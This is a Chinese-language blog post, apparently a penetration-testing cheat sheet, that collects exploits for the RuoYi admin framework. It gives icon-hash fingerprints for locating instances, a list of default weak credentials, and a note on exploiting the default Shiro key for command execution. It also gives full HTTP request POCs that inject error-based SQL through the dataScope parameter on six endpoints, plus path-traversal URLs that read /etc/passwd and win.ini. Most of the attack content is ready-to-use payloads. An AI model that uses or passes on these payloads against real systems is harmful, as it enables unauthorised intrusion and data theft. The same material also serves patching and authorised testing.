若依(RuoYi)框架漏洞总结

news/2025/9/18 17:30:05/文章来源:https://www.cnblogs.com/x3cc/p/19099243

image

0x01 特征
绿若依
icon_hash=”706913071”

image
image

蓝若依
icon_hash=” -1231872293”

image

0x02 漏洞

弱口令

用户:admin ruoyi druid            
密码:123456 admin druid admin123 admin888

若依前台默认shiro key命令执行漏洞
若依默认使用shiro组件,所以可以试试shiro经典的rememberMe漏洞来getshell。

影响版本
RuoYi<V-4.6.2

密钥存放位置
image

默认密钥
image

RuoYi-4.6.2版本开始就使用随机密钥的方式,而不使用固定密钥,若要使用固定密钥需要开发者自己指定密钥,因此4.6.2版本以后,在没有获取到密钥的请情况下无法再进行利用。

RuoYi-4.2版本使用的是shiro-1.4.2在该版本和该版本之后都需要勾选AES GCM模式。

SQL注入

  • /system/role/list接口(<V-4.6.2)
    接口
    image
    POC
POST /system/role/list HTTP/1.1
Host: 
Content-Length: 200
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=ddbcb9ac-2a67-46a4-88d8-fbf6a00d53fc
Connection: keep-alivepageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params[dataScope]=and extractvalue(1,concat(0x7e,(select version()),0x7e))

image

  • /system/role/export (<V-4.6.2)
    image
    POC
POST /system/role/export HTTP/1.1
Host: 
Content-Length: 75
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=406b4e69-7fc6-46be-977c-f4452ba949e2
Connection: keep-aliveparams[dataScope]=and+extractvalue(1,concat(0x7e,(select+database()),0x7e))

image

  • /system/user/list (<V-4.6.2)
    POC
POST /system/user/list HTTP/1.1
Host: 
Content-Length: 75
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=406b4e69-7fc6-46be-977c-f4452ba949e2
Connection: keep-aliveparams[dataScope]=and+extractvalue(1,concat(0x7e,(select+database()),0x7e))

image

  • /system/dept/list (<V-4.6.2)

image

POC

POST /system/dept/list HTTP/1.1
Host: 
Content-Length: 75
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=406b4e69-7fc6-46be-977c-f4452ba949e2
Connection: keep-aliveparams[dataScope]=and+extractvalue(1,concat(0x7e,(select+database()),0x7e))

image

  • /role/authUser/allocatedList (<V-4.6.2)

image
image

POC

POST /system/role/authUser/allocatedList HTTP/1.1
Host: 
Content-Length: 75
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=406b4e69-7fc6-46be-977c-f4452ba949e2
Connection: keep-aliveparams[dataScope]=and+extractvalue(1,concat(0x7e,(select+database()),0x7e))

image

  • /role/authUser/unallocatedList
    POC
POST /system/role/authUser/unallocatedList HTTP/1.1
Host: 
Content-Length: 75
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=406b4e69-7fc6-46be-977c-f4452ba949e2
Connection: keep-aliveparams[dataScope]=and+extractvalue(1,concat(0x7e,(select+database()),0x7e))

image

CNVD-2021-01931任意文件下载
影响版本
RuoYi<4.5.1

路径

/common/download/resource
/common/download/resource?resource=/profile/../../../../etc/passwd
/common/download/resource?resource=/profile/../../../../Windows/win.ini

image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/907294.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第一次个人项目作业_论文查重

第一次项目作业这个作业属于哪个课程 https://edu.cnblogs.com/campus/gdgy/Class34Grade23ComputerScience这个作业要求在哪里 https://edu.cnblogs.com/campus/gdgy/Class34Grade23ComputerScience/homework/13477这…

2025年版《中科院期刊分区表》与2023年版对比表,附名单可直接查阅

2025年版《中科院期刊分区表》与2023年版相比,主要有以下几个变化‌: ‌1、发布时间提前‌:2025年版分区表从12月提前至3月发布,与投稿周期同步,学者可以尽早锁定期刊最新分区,避免“投稿后降区”的风险‌。 ‌2…

对马岛之魂

护身符 稻荷神护身符----增加资源的获取 aa

2019年双因素认证最佳实践指南

本文深入探讨2019年双因素认证的正确实现方式,对比TOTP与WebAuthn技术优劣,分析用户行为模式,并提供实际部署建议,帮助开发者构建更安全的认证系统。2019年正确实现双因素认证 - Trail of Bits博客 自3月起,Trail…

oracle 删除重复数据

delete hpas_index_data_source swhere s.id in (select idFROM (SELECT t1.*,ROW_NUMBER() OVER(PARTITION BY t1.indexid, t1.doctor_id, t1.start_date, t1.vals ORDER BY t1.rowid) as rnFROM hpas_index_data_sou…

Account Kit(华为账号服务)再进化,开发者接入效率飙升!

Hi 各位开发者朋友~👋 为持续优化开发体验,提升集成效率,Account Kit接入体验再升级,助力构建更流畅、更安全的登录体验,让开发效率火力全开!😎 【体验升级】华为账号相关权益申请入口统一迁移至AGC华为账号…

Codeforces Round 1051 (Div. 2) D题启发(DP

题目简述 需要找到所有最长单调递减子序列长度不超过2的子列个数,做法是dp。 状态记录 我们不必理会题解中乱七八糟的定义,只需要知道他事实上就是模拟了当我们拿到一个已知数列时贪心的过程,把我们计算最长单调递减…

[踩坑劝退]批量生成 grafana dashboard 的技术

[踩坑劝退]批量生成 grafana dashboard 的技术作者:张富春(ahfuzhang),转载时请注明作者和引用链接,谢谢!cnblogs博客 zhihu Github 公众号:一本正经的瞎扯最近想要一个功能:把 VictoriaMetrics 采集的数据,自动变…

Ubuntu 22 下 DolphinScheduler 3.x 伪集群部署实录

本文记录了在 Ubuntu 22.04 上部署 Apache DolphinScheduler(伪集群模式)的完整过程,涵盖环境准备、安装配置、数据库初始化、用户创建及服务启动等步骤。适合个人学习、功能验证或测试使用。本文记录了在 Ubuntu 2…

关于proxmox 制作虚拟机模板的动态dhcp问题

背景 proxmox 制作ubuntu24.04 的模板,虽然已经设置了dhcp,启动了ip还是会附带之前的信息。为了解决这个问题。 如果要保证 Ubuntu 云镜像克隆后每台机器都自动生成唯一的 machine-id 和 DHCP 客户端 ID(避免 IP 冲…

Oracle清理:如何安全删除trace, alert和archivelog文件?

Oracle清理:如何安全删除trace, alert和archivelog文件?Oracle 数据库运行时文件清理指南 背景:公司阿里云数据库主机,由于长期运行空间告急,通知各项目组多次要求转移数据库空间文件进展缓慢,为保证空间占满影响…

软件工程个人项目

软件工程个人项目3123004548软件工程个人项目这个作业属于哪个课程 <https://edu.cnblogs.com/campus/gdgy/SoftwareEngineering2024>这个作业要求在哪里 https://edu.cnblogs.com/campus/gdgy/Class34Grade23Co…

学习道路道阻且长 希望自己坚持下去

本人是一名专升本的大三学生 现在专业是软件工程专业 从今天开始学习java 翻了一下资料 发现很多人建议从前端开始学习 在专科学习中 也学过相应的基础知识,不过遗忘程度可能有点严重。对于语言的基本语法掌握需要加强…

2025/9/18 总结

A 用时:2h 预期:100pts 实际:100pts 求出前缀和,\(s_k+s_i \text{xor} s_k\),考虑从高到低贪心,如果 \(s_i\) 的 \(j\) 位为 \(1\),不管如何贡献都有 \(2^j\),如果 \(s_i\) 的第 \(j\) 位为 \(0\),则 \(s_k\)…

P2216 [HAOI2007] 理想的正方形

P2216 [HAOI2007] 理想的正方形#include <bits/stdc++.h> using namespace std;const int maxn = 1e3 + 10; int a,b,n; int c[maxn][maxn]; deque <int> dq1,dq2; int max1[maxn][maxn],min1[maxn][maxn]…

PuTTY下载和安装

下载地址: https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html更改安装路径创建桌面快捷方式

数据通路-单总线结构(最头晕的一集)

数据通路就是数据在各个部件之间传输的路径(包括路径上的部件) 控制信号是有控制部件产生的 数据通路的结构 1cpu内部单总线方式 2cpu内部多总线方式 3专用数据通路方式 内部总线 是指同一个部件,如cpu内部链接各寄…

python基础篇-集合

集合 :集合内的数据不重复,但是数据是无序的创建集合 {} 或者set()注: 创建空集合只能用set(), 因为{}已经被字典占用了eg: s1 = {10, 20 ,40,30 }eg: s2 = set(abcdefg) :用set创建,序列会被拆开 = 》 {’a, b…

#egsg:在同一程序中比较-计算圆的面积

以下是一个同时使用easygui和pysimplegui实现的圆形面积计算程序,通过菜单让用户选择使用哪种GUI库: import math import easygui import PySimpleGUI as sgdef easygui_calculator():"""使用easygui…

282 项多模态胃肠病学数据集:适配 VLM 与 MLLM 微调,融合医学图像与临床文本的医疗 AI 训练数据

​ 获取更多高质量数据集,请访问典枢数据交易平台:https://dianshudata.com一、引言与背景 在医疗人工智能领域,胃肠病学的智能化诊断与分析始终依赖高质量数据的支撑,而视觉语言模型(VLM)与多模态大型语言模型(…